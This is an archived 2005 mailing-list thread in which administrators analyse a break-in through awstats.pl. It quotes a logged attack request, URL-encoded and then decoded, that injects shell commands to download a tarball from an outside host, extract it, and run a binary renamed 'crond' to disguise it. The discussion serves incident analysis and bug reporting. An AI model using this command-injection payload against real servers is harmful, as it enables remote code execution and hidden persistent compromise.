On Fri, 2005-03-04 at 17:58 +0000, Paul Howarth wrote: > David Cary Hart wrote: > > On Fri, 2005-03-04 at 18:34 +0100, Alexander Dalloz wrote: > > > >>> "GET > >>>/cgi-bin/awstats.pl? > >>>configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bcurl%20%2d0%20wget%2 > >>>0zburchi%2eidilis%2ero%2fbadboy%2etar%2egz%3btar%20%2dzxvf%20badboy%2eta > >>>r%2egz%3bcd%20psybnc%3bmv%20mech%20crond%3bexport%20PATH%3d%3bcrond%3bec > >>>ho%20e_exp%3b%2500 HTTP/1.1" 200 485 "-" "-" > > (snip) > > >>Thank you for this report. > >>So you are saying that even with awstats 6.4 you got compromised as > >>Apache did execute the logged command and a trojan then started running > >>located in /tmp? If so, would you please be so kind and report that > >>issue to the awstats project guys as soon as possible? > > > > > > Alexander: > > > > Could you explain the series of events? It's not clear - to me - how > > this resulted in a compromised machine. > > Replace the url-encoded characters and you get: > > /cgi-bin/awstats.pl?configdir=|echo ;echo b_exp;cd /tmp;curl -0 wget > zburchi.idilis.ro/badboy.tar.gz;tar -zxvf badboy.tar.gz;cd psybnc;mv > mech crond;export PATH=;crond;echo e_exp;%00 > > So the attacker has tricked the script into executing a set of shell > commands, which include changing directory to /tmp, downloading a > tarball from a Romanian site, extracting that tarball and then executing > a program from the downloaded and extracted tarball, after renaming it > to "crond" in an effort to disguise it. I got that part. What I am trying to understand (please bear with me) is how the attacker might have modified the script command line. -- Total Quality Management - A Commitment to Excellence Fight Spam: http://www.tqmcube.com/rbldnsd.htm Daily Updates: rsync -t \ tqmcube.com::spamlists/[README.htm][clients][dynamic][relays][asiaspam] http://www.tqmcube.com/spam_trap.htm
